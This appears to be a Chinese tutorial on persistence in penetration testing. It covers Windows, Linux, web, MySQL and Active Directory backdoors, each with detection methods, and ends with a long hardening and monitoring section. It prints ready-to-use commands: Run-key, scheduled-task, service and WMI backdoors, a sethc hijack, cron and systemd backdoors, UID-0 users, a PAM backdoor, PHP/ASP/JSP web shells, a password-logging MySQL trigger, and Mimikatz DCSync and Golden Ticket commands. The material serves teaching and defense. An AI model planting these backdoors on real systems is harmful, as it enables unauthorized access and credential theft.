渗透测试中的权限维持技术:从入门到进阶

渗透测试中的权限维持技术:从入门到进阶 一、什么是权限维持1.1 定义权限维持Persistence是指在成功入侵目标系统后留后门确保下次还能访问即使管理员改了密码、重启了系统、修复了漏洞。为什么需要权限维持漏洞可能修复你利用的漏洞可能被补上没有后门就进不去了密码可能修改管理员可能改密码你的账号就失效了系统可能重启重启后内存中的后门就没了需要长期访问渗透测试可能需要持续几周甚至几个月1.2 权限维持的分类权限维持可以分为以下几类操作系统级修改系统配置即使重启也还在应用级在Web应用、数据库中留后门内网级在域控、内网设备中留后门物理级在固件、BIOS中留后门高级二、Windows下的权限维持技术2.1 注册表Run键原理Windows启动时会自动读取注册表中的Run键执行里面的程序。位置HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run实战操作# 添加后门到当前用户的Run键 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d C:\Windows\Temp\backdoor.exe # 添加后门到所有用户的Run键需要管理员权限 reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d C:\Windows\Temp\backdoor.exe检测方法定期导出注册表Run键对比变化用Autoruns工具查看所有自启动项2.2 计划任务Scheduled Tasks原理Windows的计划任务可以在指定时间执行程序可以设置系统启动时执行。实战操作# 创建计划任务系统启动时以SYSTEM权限执行后门 schtasks /create /tn Windows Update /tr C:\Windows\Temp\backdoor.exe /sc onstart /ru SYSTEM检测方法schtasks /query查看所有计划任务检查C:\Windows\System32\Tasks\目录2.3 服务Services原理Windows服务可以在系统启动时自动运行以SYSTEM权限执行。实战操作# 创建服务 sc create WindowsUpdate binpath C:\Windows\Temp\backdoor.exe start auto检测方法sc query查看所有服务检查服务的可执行路径是否合法2.4 WMI事件订阅原理WMIWindows Management Instrumentation可以订阅系统事件当事件发生时执行指定程序。实战操作# 创建WMI事件订阅当系统启动时执行后门 $filterName WindowsUpdate $consumerName WindowsUpdateConsumer # 创建事件过滤器 $query SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA Win32_PerfRawData_PerfOS_System AND TargetInstance.SystemUpTime 240 AND TargetInstance.SystemUpTime 325 $wmiFilter Set-WmiInstance -Class __EventFilter -NameSpace root\subscription -Arguments {Name$filterName; EventNamespaceroot\cimv2; QueryLanguageWQL; Query$query} # 创建事件消费者 $wmiConsumer Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments {Name$consumerName; CommandLineTemplateC:\Windows\Temp\backdoor.exe} # 绑定过滤器和消费者 Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments {Filter$wmiFilter; Consumer$wmiConsumer}检测方法用Get-WmiObject -Namespace root\subscription -Class __EventFilter查看所有事件过滤器用Sysmon监控WMI操作2.5 映像劫持Image File Execution Options原理在注册表中设置 Image File Execution Options可以让指定程序启动时执行另一个程序。实战操作# 当sethc.exe粘滞键启动时执行cmd.exe reg add HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe /v Debugger /t REG_SZ /d C:\Windows\System32\cmd.exe利用场景物理接触目标机器时按5次Shift键弹出cmd.exe无需登录。检测方法检查HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options下的所有键值三、Linux下的权限维持技术3.1 cron定时任务原理Linux的cron服务可以在指定时间执行程序。实战操作# 添加cron任务每分钟执行一次后门 (crontab -l 2/dev/null; echo * * * * * /tmp/backdoor.sh) | crontab - # 或者写入到系统cron目录 echo * * * * * root /tmp/backdoor.sh /etc/cron.d/backdoor检测方法crontab -l查看当前用户的cron任务检查/etc/cron*目录3.2 系统服务systemd原理systemd是Linux的初始化系统可以管理服务服务可以在系统启动时自动运行。实战操作# 创建systemd服务 cat /etc/systemd/system/backdoor.service EOF [Unit] DescriptionSystem Backdoor [Service] Typesimple ExecStart/tmp/backdoor.sh Restartalways [Install] WantedBymulti-user.target EOF # 启用服务 systemctl enable backdoor.service systemctl start backdoor.service检测方法systemctl list-units --typeservice查看所有服务检查/etc/systemd/system/目录3.3 隐藏用户原理在/etc/passwd中添加用户密码哈希在/etc/shadow中。实战操作# 添加用户 useradd -m -s /bin/bash backdoor echo backdoor:Password123 | chpasswd # 或者修改UID为0变成root权限 echo backdoor:x:0:0::/home/backdoor:/bin/bash /etc/passwd检测方法cat /etc/passwd | grep -E :/bin/(ba)?sh$查看所有可登录用户检查UID为0的用户3.4 SSH密钥原理在目标用户的~/.ssh/authorized_keys中添加攻击者的公钥可以无需密码登录。实战操作# 生成SSH密钥对 ssh-keygen -t rsa -f /tmp/key # 将公钥添加到目标用户的authorized_keys echo ssh-rsa AAAA... attackerkali /home/victim/.ssh/authorized_keys # 使用私钥登录 ssh -i /tmp/key victimtarget检测方法检查所有用户的~/.ssh/authorized_keys用EDR监控SSH密钥文件的修改3.5 PAM后门原理PAMPluggable Authentication Modules是Linux的认证模块可以修改PAM配置让特定密码都能登录。实战操作# 备份原始PAM配置 cp /etc/pam.d/sshd /etc/pam.d/sshd.bak # 修改PAM配置添加后门 echo auth sufficient pam_exec.so /tmp/backdoor.sh /etc/pam.d/sshd检测方法对比PAM配置的哈希值用AIDE等文件完整性检查工具四、Web后门的权限维持4.1 传统Web后门原理在Web目录中放入包含恶意代码的文件如PHP的eval($_POST[cmd])。实战操作// PHP后门 ?php eval($_POST[cmd]); ?// ASP后门 % eval request(cmd) %// JSP后门 % Runtime.getRuntime().exec(request.getParameter(cmd)); %隐蔽技巧文件名伪装成正常文件如wp-cache.php代码混淆如base64_decode(str_rot13(...))藏在图片中利用文件包含漏洞4.2 内存Web后门原理将后门注入到Web服务器的内存中不落磁盘很难被检测到。工具PHP: memecache 扩展Java: 内存马Filter/Servlet/Listener型检测方法用Volatility分析内存dump用Java Agent监控内存中的类加载五、数据库后门的权限维持5.1 MySQL UDF后门原理利用MySQL的UDFUser Defined Function功能导出动态链接库执行系统命令。实战操作-- 查看插件目录 SHOW VARIABLES LIKE plugin_dir; -- 导出UDF库 SELECT HEX(LOAD_FILE(/tmp/udf.so)) INTO DUMPFILE /usr/lib/mysql/plugin/udf.so; -- 创建函数 CREATE FUNCTION sys_exec RETURNS INT SONAME udf.so; -- 执行命令 SELECT sys_exec(id /tmp/result);检测方法检查MySQL插件目录中的可疑文件用SHOW FUNCTION STATUS查看所有UDF函数5.2 MySQL触发器后门原理创建触发器当特定表被操作时执行恶意代码。实战操作-- 创建触发器当有用户登录时将密码记录到文件 CREATE TRIGGER backdoor AFTER INSERT ON users FOR EACH ROW BEGIN SELECT sys_exec(echo || NEW.password || /tmp/passwords) INTO dummy; END;六、内网横向中的权限维持6.1 域控中的DCSync权限原理如果有账号被授予 DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All 权限可以导出所有域用户的Hash。实战操作# 使用Mimikatz导出所有域用户Hash mimikatz.exe lsadump::dcsync /domain:test.com /all exit持久化方法创建一个服务账号授予DCSync权限即使域管密码修改这个账号依然能导出Hash6.2 Golden Ticket原理如果有域控的KRBTGT账号的Hash可以伪造任意用户的TGTTicket Granting Ticket无需密码就能访问域资源。实战操作# 使用Mimikatz创建Golden Ticket mimikatz.exe kerberos::golden /user:administrator /domain:test.com /sid:S-1-5-21-... /krbtgt:Hash值 /id:500 exit # 注入到内存 mimikatz.exe kerberos::ptt ticket.kirbi exit # 访问域控 dir \\dc01\c$持久化方法保存Golden Ticket文件需要时注入内存KRBTGT账号的Hash通常不变除非域管主动重置七、如何检测权限维持7.1 基线对比方法定期采集系统的基线注册表、计划任务、服务、文件哈希等对比变化。工具Windows: Sysmon SplunkLinux: AIDE ELK7.2 行为监控方法监控可疑行为如注册表Run键的修改计划任务的创建服务的创建WMI事件订阅的创建新的SSH密钥新的UDF函数工具EDREndpoint Detection and ResponseHIDSHost-based Intrusion Detection System7.3 内存分析方法定期dump内存分析是否有恶意代码注入。工具VolatilityReka7.4 常用检测工具对比下表对比了文中提到的几种常用检测工具帮助读者根据实际场景快速选型工具名称核心功能适用平台优点缺点开源/商业Sysmon系统监控与事件记录可记录进程创建、网络连接、文件创建、注册表修改等行为。Windows轻量级配置灵活可与SIEM集成微软官方出品。仅记录事件需配合SIEM分析默认配置可能产生大量日志。免费微软Sysinternals套件AIDE文件完整性检查通过哈希比对检测文件、目录、权限等变更。Linux/Unix开源轻量可定期扫描并生成报告适合基线对比。仅能检测文件变化无法实时监控行为需定期更新基线数据库。开源Volatility内存取证分析可从内存转储中提取进程、网络连接、注册表、恶意代码等信息。跨平台支持Windows、Linux、macOS内存镜像功能强大支持多种插件是内存分析的事实标准。需要获取内存镜像可能影响业务分析门槛较高。开源EDR如 CrowdStrike、Carbon Black、Microsoft Defender for Endpoint端点检测与响应实时监控进程、文件、网络、注册表等行为具备威胁检测、调查和响应能力。跨平台Windows、Linux、macOS实时监控与响应集成威胁情报自动化调查与阻断。通常为商业产品成本较高可能产生误报。商业部分提供免费基础版HIDS如 OSSEC、Wazuh基于主机的入侵检测监控文件完整性、日志分析、rootkit检测等。跨平台Windows、Linux、macOS开源可选可自定义规则适合构建自有安全监控体系。部署和维护复杂度较高需自行管理规则和告警。开源如OSSEC、WazuhAutoruns全面枚举Windows自启动项注册表、服务、计划任务、浏览器插件等。Windows直观易用可快速发现可疑自启动项支持命令行版本。仅限自启动项检测无实时监控能力。免费微软Sysinternals套件Splunk/ELK日志聚合与分析平台可集中收集、索引、搜索和可视化各类日志。跨平台强大的搜索与可视化能力支持自定义告警和仪表盘。Splunk商业版昂贵ELK部署和维护有一定复杂度。Splunk商业有免费版ELK开源选型建议Windows环境基线监控Sysmon Splunk/ELK配合Autoruns定期检查。Linux文件完整性监控AIDE 定期巡检或使用OSSEC/Wazuh等HIDS。内存取证与高级威胁分析Volatility需配合内存采集工具。企业级实时防护与响应部署EDR产品如CrowdStrike、Microsoft Defender for Endpoint。成本敏感且具备运维能力采用开源HIDS如Wazuh结合ELK构建监控体系。八、防御与加固建议权限维持防御体系构建流程flowchart TD A[攻击面识别] -- B[系统加固] A -- C[应用安全] A -- D[内网加固] A -- E[监控响应] B --gt; B1[最小权限原则] B --gt; B2[定期审计自启动项] B --gt; B3[文件完整性监控] B --gt; B4[注册表/关键目录保护] B --gt; B5[服务与进程白名单] B --gt; B6[网络隔离与出口过滤] C --gt; C1[Web应用安全加固] C --gt; C2[数据库安全加固] C --gt; C3[代码仓库与部署管道安全] D --gt; D1[定期轮换KRBTGT密码] D --gt; D2[严格管控DCSync权限] D --gt; D3[启用Credential Guard] D --gt; D4[网络分段与微分段] D --gt; D5[强制使用LAPS] E --gt; E1[集中日志收集与分析] E --gt; E2[部署EDR/HIDS] E --gt; E3[定期红蓝对抗与渗透测试] E --gt; E4[建立应急响应流程] B1 --gt; F[持续监控与响应] B2 --gt; F B3 --gt; F B4 --gt; F B5 --gt; F B6 --gt; F C1 --gt; F C2 --gt; F C3 --gt; F D1 --gt; F D2 --gt; F D3 --gt; F D4 --gt; F D5 --gt; F F --gt; G[发现异常] G --gt; H[快速响应与处置] H --gt; I[修复漏洞与清除后门] I --gt; J[优化防御策略] J --gt; A/code/pre 上图展示了从攻击面识别到持续监控与响应的闭环防御流程涵盖文中提到的四个主要防御阶段 系统加固通过最小权限、定期审计、文件完整性监控等措施减少操作系统层面的攻击面。 应用安全强化Web应用、数据库和代码部署流程的安全防护。 内网加固针对域环境和内网横向移动进行专项防护。 监控响应建立持续监控、威胁检测和应急响应机制形成安全闭环。 了解攻击者的权限维持技术后系统管理员和开发者可以从以下角度构建防御体系减少攻击面并增强监控能力。 8.1 系统层面防御Windows/Linux 系统管理员视角 最小权限原则所有服务、计划任务、cron作业均以最低必要权限运行避免使用SYSTEM/root权限。 定期审计自启动项 Windows使用Autoruns、Sysinternals Suite定期检查注册表Run键、服务、计划任务、WMI订阅等。 Linux定期检查/etc/cron.*、/etc/systemd/system/、/etc/rc.local及用户crontab。 文件完整性监控部署AIDE、Tripwire或EDR工具对系统关键文件如/etc/passwd、/etc/shadow、~/.ssh/authorized_keys、PAM配置、系统服务文件进行哈希基线异常变更实时告警。 注册表与关键目录保护 Windows对HKLM\Software\Microsoft\Windows\CurrentVersion\Run、Image File Execution Options等关键注册表路径设置审计策略监控写入操作。 Linux对/etc/passwd、/etc/shadow、/etc/pam.d/等文件设置chattr i只读或严格权限如root:root 644。 服务与进程白名单在企业环境中部署应用白名单解决方案如Windows AppLocker、Linux SELinux/AppArmor仅允许可信可执行文件运行。 网络隔离与出口过滤限制服务器出站连接仅允许访问必要的内部更新源或日志服务器阻断后门外联。 8.2 应用与数据库防御 开发者与运维视角 Web应用安全 pre ul严格过滤文件上传类型与内容禁止上传可执行脚本。定期扫描Web目录是否存在可疑文件如*.php、*.jsp、*.asp可使用ClamAV、YARA规则进行静态检测。禁用危险函数如PHP的eval()、system()在php.ini中设置disable_functions。对内存Web后门部署RASP运行时应用自我保护或定期使用Java Agent检测内存中异常Filter/Servlet。数据库安全加固ulMySQL限制FILE权限避免普通用户执行SELECT ... INTO DUMPFILE定期检查mysql.plugin目录和SHOW FUNCTION STATUS输出。使用数据库审计插件如MySQL Enterprise Audit、McAfee Audit Plugin记录所有DDL与高危操作。对触发器、存储过程、UDF函数进行代码审查禁止执行系统命令。代码仓库与部署管道安全在CI/CD流程中加入SAST/DAST扫描防止恶意代码进入生产环境。8.3 内网与域环境加固域管理员视角定期轮换KRBTGT账户密码至少每180天更改一次并确保两次更改间隔大于10小时以失效已泄露的Golden Ticket。严格管控DCSync权限定期审计拥有DS-Replication-Get-Changes和DS-Replication-Get-Changes-All权限的账户仅限域控和必要的管理账号。启用Windows Defender Credential Guard保护LSASS进程防止凭据窃取。部署网络分段与微分段限制域控、数据库服务器、应用服务器之间的非必要通信减少横向移动路径。强制使用LAPS本地管理员密码解决方案确保每台主机的本地管理员密码唯一且定期更换。8.4 持续监控与响应安全运营团队视角集中日志收集与分析将系统日志、安全日志、应用日志统一接入SIEM如Splunk、ELK建立以下检测规则preul计划任务创建/修改Event ID 4698/4702。服务安装Event ID 7045。注册表Run键修改。WMI事件订阅创建Event ID 5861。SSH authorized_keys文件变更。MySQL UDF/触发器创建。部署EDR/HIDS实时监控进程行为、网络连接、文件操作对可疑行为如陌生进程启动、异常外联自动告警并阻断。定期红蓝对抗与渗透测试模拟攻击者手法检验现有防御措施的有效性持续优化安全策略。建立应急响应流程一旦发现权限维持痕迹立即隔离受影响主机、清除后门、重置凭据、修复漏洞并追溯攻击路径。总结防御权限维持需要纵深防御策略结合系统加固、应用安全、网络隔离与持续监控。通过最小权限、定期审计、文件完整性检查、集中日志分析和快速响应可大幅增加攻击者维持权限的难度与成本。